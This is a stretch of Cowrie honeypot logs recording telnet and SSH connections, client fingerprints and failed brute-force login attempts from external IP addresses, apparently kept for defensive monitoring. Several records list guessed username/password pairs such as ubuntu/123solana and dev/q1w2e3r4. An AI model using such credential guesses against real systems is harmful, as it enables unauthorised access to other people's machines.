{"eventid":"cowrie.session.closed","duration":34.28573560714722,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:50.201804Z","src_ip":"161.97.105.174","session":"8e12031f09e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40578,"dst_ip":"159.203.135.109","dst_port":23,"session":"007e3f072811","protocol":"telnet","message":"New connection: 161.97.105.174:40578 (159.203.135.109:23) [session: 007e3f072811]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:50.996125Z"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":8957,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c983da683f8","protocol":"ssh","message":"New connection: 220.247.224.226:8957 (159.203.135.109:22) [session: 8c983da683f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:53.861938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:53.866656Z","src_ip":"220.247.224.226","session":"8c983da683f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40592,"dst_ip":"159.203.135.109","dst_port":23,"session":"56ecceb04ae7","protocol":"telnet","message":"New connection: 161.97.105.174:40592 (159.203.135.109:23) [session: 56ecceb04ae7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:54.095647Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:54.100379Z","src_ip":"220.247.224.226","session":"8c983da683f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40598,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d8817fe49f6","protocol":"telnet","message":"New connection: 161.97.105.174:40598 (159.203.135.109:23) [session: 9d8817fe49f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:54.106136Z"}
{"eventid":"cowrie.login.failed","username":"es","password":"Aa123456","message":"login attempt [es/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:55.052630Z","src_ip":"220.247.224.226","session":"8c983da683f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:56.285356Z","src_ip":"220.247.224.226","session":"8c983da683f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.48315119743347,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:57.275049Z","src_ip":"161.97.105.174","session":"2e03cda6c87a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40612,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d2ad6ccb67d","protocol":"telnet","message":"New connection: 161.97.105.174:40612 (159.203.135.109:23) [session: 0d2ad6ccb67d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:06:58.193000Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":57082,"dst_ip":"159.203.135.109","dst_port":23,"session":"074feb2bf313","protocol":"telnet","message":"New connection: 161.97.105.174:57082 (159.203.135.109:23) [session: 074feb2bf313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:00.156765Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":57086,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e6f1d053c84","protocol":"telnet","message":"New connection: 161.97.105.174:57086 (159.203.135.109:23) [session: 0e6f1d053c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:00.254607Z"}
{"eventid":"cowrie.session.closed","duration":35.72807288169861,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:01.106940Z","src_ip":"161.97.105.174","session":"803fe264ef15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.09631395339966,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:01.408192Z","src_ip":"161.97.105.174","session":"c1457c64f765","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":42846,"dst_ip":"10.17.0.5","dst_port":22,"session":"5cab0f605c3f","protocol":"ssh","message":"New connection: 193.32.162.145:42846 (10.17.0.5:22) [session: 5cab0f605c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:01.625194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:01.631146Z","src_ip":"193.32.162.145","session":"5cab0f605c3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:01.743761Z","src_ip":"193.32.162.145","session":"5cab0f605c3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123solana","message":"login attempt [ubuntu/123solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:02.068709Z","src_ip":"193.32.162.145","session":"5cab0f605c3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:03.178441Z","src_ip":"193.32.162.145","session":"5cab0f605c3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":57092,"dst_ip":"159.203.135.109","dst_port":23,"session":"90a2fc2c7161","protocol":"telnet","message":"New connection: 161.97.105.174:57092 (159.203.135.109:23) [session: 90a2fc2c7161]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:03.449492Z"}
{"eventid":"cowrie.session.closed","duration":33.07346272468567,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:03.781437Z","src_ip":"161.97.105.174","session":"0f05a6bc0299","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.12625551223755,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:06.231693Z","src_ip":"161.97.105.174","session":"d32f464a5662","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.226215839385986,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:06.950820Z","src_ip":"161.97.105.174","session":"f5066bb8dac0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.49856686592102,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:10.309136Z","src_ip":"161.97.105.174","session":"22a3d4e24ae2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42696,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a7aca254b07","protocol":"telnet","message":"New connection: 161.97.105.174:42696 (159.203.135.109:23) [session: 7a7aca254b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:10.414567Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42710,"dst_ip":"159.203.135.109","dst_port":23,"session":"75113059b1a7","protocol":"telnet","message":"New connection: 161.97.105.174:42710 (159.203.135.109:23) [session: 75113059b1a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:11.633378Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42724,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a145d6ba2ac","protocol":"telnet","message":"New connection: 161.97.105.174:42724 (159.203.135.109:23) [session: 0a145d6ba2ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:12.903523Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":49710,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bc8fcbc5dcd","protocol":"ssh","message":"New connection: 200.187.71.114:49710 (10.17.0.5:22) [session: 1bc8fcbc5dcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:14.464813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:14.468890Z","src_ip":"200.187.71.114","session":"1bc8fcbc5dcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:14.582253Z","src_ip":"200.187.71.114","session":"1bc8fcbc5dcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.07866334915161,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:14.615660Z","src_ip":"161.97.105.174","session":"cf3c09186d48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42736,"dst_ip":"159.203.135.109","dst_port":23,"session":"738aacdd4650","protocol":"telnet","message":"New connection: 161.97.105.174:42736 (159.203.135.109:23) [session: 738aacdd4650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:14.907215Z"}
{"eventid":"cowrie.login.failed","username":"dev","password":"q1w2e3r4","message":"login attempt [dev/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:15.072111Z","src_ip":"200.187.71.114","session":"1bc8fcbc5dcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.21238398551941,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:16.050639Z","src_ip":"161.97.105.174","session":"8892f55ea867","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:16.188801Z","src_ip":"200.187.71.114","session":"1bc8fcbc5dcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.09190607070923,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:17.770270Z","src_ip":"161.97.105.174","session":"9c4e91192701","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":42752,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1e752e1a665","protocol":"telnet","message":"New connection: 161.97.105.174:42752 (159.203.135.109:23) [session: b1e752e1a665]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:17.875833Z"}
{"eventid":"cowrie.session.closed","duration":31.33944320678711,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:20.143225Z","src_ip":"161.97.105.174","session":"880b17901719","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.83523678779602,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:21.643980Z","src_ip":"161.97.105.174","session":"48c9fb85d0fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.5893874168396,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:21.657758Z","src_ip":"161.97.105.174","session":"43b92a2dd035","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41174,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f05d8dce0f6","protocol":"telnet","message":"New connection: 161.97.105.174:41174 (159.203.135.109:23) [session: 4f05d8dce0f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:23.130409Z"}
{"eventid":"cowrie.session.closed","duration":33.70844578742981,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:24.704477Z","src_ip":"161.97.105.174","session":"007e3f072811","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.2348210811615,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:26.340860Z","src_ip":"161.97.105.174","session":"9d8817fe49f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":32980,"dst_ip":"10.17.0.5","dst_port":22,"session":"6925dfedd42b","protocol":"ssh","message":"New connection: 154.219.100.220:32980 (10.17.0.5:22) [session: 6925dfedd42b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:26.825365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:26.829751Z","src_ip":"154.219.100.220","session":"6925dfedd42b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:27.037389Z","src_ip":"154.219.100.220","session":"6925dfedd42b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"abc123","message":"login attempt [user3/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:27.899918Z","src_ip":"154.219.100.220","session":"6925dfedd42b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.0472252368927,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:28.142753Z","src_ip":"161.97.105.174","session":"56ecceb04ae7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":41178,"dst_ip":"159.203.135.109","dst_port":23,"session":"6abb97712507","protocol":"telnet","message":"New connection: 161.97.105.174:41178 (159.203.135.109:23) [session: 6abb97712507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:28.249266Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:29.110382Z","src_ip":"154.219.100.220","session":"6925dfedd42b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.30693960189819,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:32.499796Z","src_ip":"161.97.105.174","session":"0d2ad6ccb67d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.18333292007446,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:33.339776Z","src_ip":"161.97.105.174","session":"074feb2bf313","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":46910,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c2729b8c060","protocol":"ssh","message":"New connection: 152.32.130.174:46910 (10.17.0.5:22) [session: 8c2729b8c060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:33.363627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:33.368333Z","src_ip":"152.32.130.174","session":"8c2729b8c060","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:33.581974Z","src_ip":"152.32.130.174","session":"8c2729b8c060","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.385987758636475,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:33.640449Z","src_ip":"161.97.105.174","session":"0e6f1d053c84","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"7777","message":"login attempt [test/7777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:34.468884Z","src_ip":"152.32.130.174","session":"8c2729b8c060","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:07:35.685572Z","src_ip":"152.32.130.174","session":"8c2729b8c060","protocol":"ssh"}
